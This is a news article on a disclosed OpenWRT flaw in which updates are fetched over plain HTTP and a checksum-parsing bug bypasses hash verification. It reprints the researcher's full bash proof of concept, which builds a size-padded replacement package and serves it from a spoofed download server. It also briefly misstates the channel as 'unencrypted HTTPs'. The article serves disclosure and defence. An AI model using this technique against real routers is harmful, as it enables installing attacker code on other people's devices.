OpenWRT code-execution bug puts millions of devices at risk
For almost three years, OpenWRT—the open source operating system that powers home routers and other types of embedded systems—has been vulnerable to remote code-execution attacks because updates were delivered over an unencrypted channel and digital signature verifications are easy to bypass, a researcher said.
OpenWRT has a loyal base of users who use the freely available package as an alternative to the firmware that comes installed on their devices. Besides routers, OpenWRT runs on smartphones, pocket computers and even laptops and desktop PCs. Users generally find OpenWRT to be a more secure choice because it offers advanced functions and its source code is easy to audit.
Security researcher Guido Vranken, however, recently found that updates and installation files were delivered over unencrypted HTTPs connections, which are open to attacks that allow adversaries to completely replace legitimate updates with malicious ones. The researcher also found that it was trivial for attackers with moderate experience to bypass digital-signature checks that verify a downloaded update as the legitimate one offered by OpenWTR maintainers. The combination of those two lapses makes it possible to send a malicious update that vulnerable devices will automatically install.
Exploits not for everyone
These code-execution exploits are limited in their scope because adversaries must either be in a position to conduct a man-in-the-middle attack or tamper with the DNS server that a device uses to find the update on the Internet. That means routers on a network that has no malicious users and using a legitimate DNS server are safe from attack. Vranken also speculates that packet spoofing or ARP cache poisoning may also make attacks possible, but he cautions that he didn’t test either method.
Despite the requirements, many networks connect people who are unknown or untrusted by the device operator. What’s more, attacks that replace router settings pointing to a legitimate DNS to a malicious one are a fact of life on the Internet, as in-the-wild attack here, here, here, and here (to name just a few) demonstrate.
The failure to use HTTPS encryption is one reason for the weakness. The encryption HTTPS provides makes it impossible for nearby attackers to tamper with data while it’s in transit. Authentication assurances built into HTTPS also make it infeasible for attackers to impersonate downloads.openwrt.org, the real OpenWRT server that delivers legitimate updates and installation files.
Exploiting these weaknesses, Vranken was able to create a server that impersonated downloads.openwrt.org and served a malicious update. As long as the malicious file is the same size at the legitimate file, it will be executed by a vulnerable device. In a post published last week, the researcher wrote:
Doing this is trivial:
- Create a package that is smaller than the original
- Compute the size difference between the original package and the compromised package
- Append this amount of zero bytes to the end of the compromised package
Vranken supplied the following proof-concept code:
#!/bin/bash # Download the package lists for mirroring wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig mv downloads.openwrt.org/snapshots . rm -rf downloads.openwrt.org/ # Get the original package wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section .text" >>/tmp/pwned.asm echo "global _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov edx,len" >>/tmp/pwned.asm echo " mov ecx,msg" >>/tmp/pwned.asm echo " mov ebx,1" >>/tmp/pwned.asm echo " mov eax,4" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo " mov eax,1" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo "section .data" >>/tmp/pwned.asm echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm echo "len equ $ - msg" >>/tmp/pwned.asm # Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o # Link ld /tmp/pwned.o -o usr/bin/attr # Pack into data.tar.gz tar czvf ../data.tar.gz * cd ../ # Remove files no longer needed rm -rf data/ # Pack tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary # Remove files no longer needed rm control.tar.gz data.tar.gz debian-binary # Compute the size difference between the original package and the compromised package MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))" # Pad the modified file to the expected size head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk # Download the dependency of attr wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk # Position the files for serving from the web server mkdir -p snapshots/packages/x86_64/packages/ mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ # Launch a basic web server that opkg will be connecting to sudo python -m SimpleHTTPServer 80
The failure to deliver updates over HTTPS is likely a deliberate decision by OpenWRT maintainers, possibly to accommodate devices that can only receive updates over that unencrypted HTTP channels. To prevent attackers from exploiting this weakness, OpenWRT maintainers require downloaded updates to match the SHA256 cryptographic hash of the legitimate one. If the hashes don’t match, devices aren’t supposed to execute the update.
But Vranken found that it was possible to bypass the hash check by adding a space to the beginning of an input string in the checksum_hex2bin function. Vranken said the bug appears to have been introduced in February 2017.
The researcher said that OpenWRT maintainers have released a stopgap solution that partially mitigates the risk the bug poses. The mitigation requires new installations to be “set out from a well-formed list that would not sidestep the hash verification. However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers.” From there, attackers can use the same exploits they would use on devices that haven’t received the mitigation.
OpenWRT maintainers didn’t immediately respond to questions asking why installation and update files are delivered over HTTP and when a longer-term fix might be available. This post will be updated if the maintainers reply later.
In the meantime, OpenWRT users should install either version 18.06.7 or 19.07.1, both of which were released in February. These updates provide the stopgap mitigation.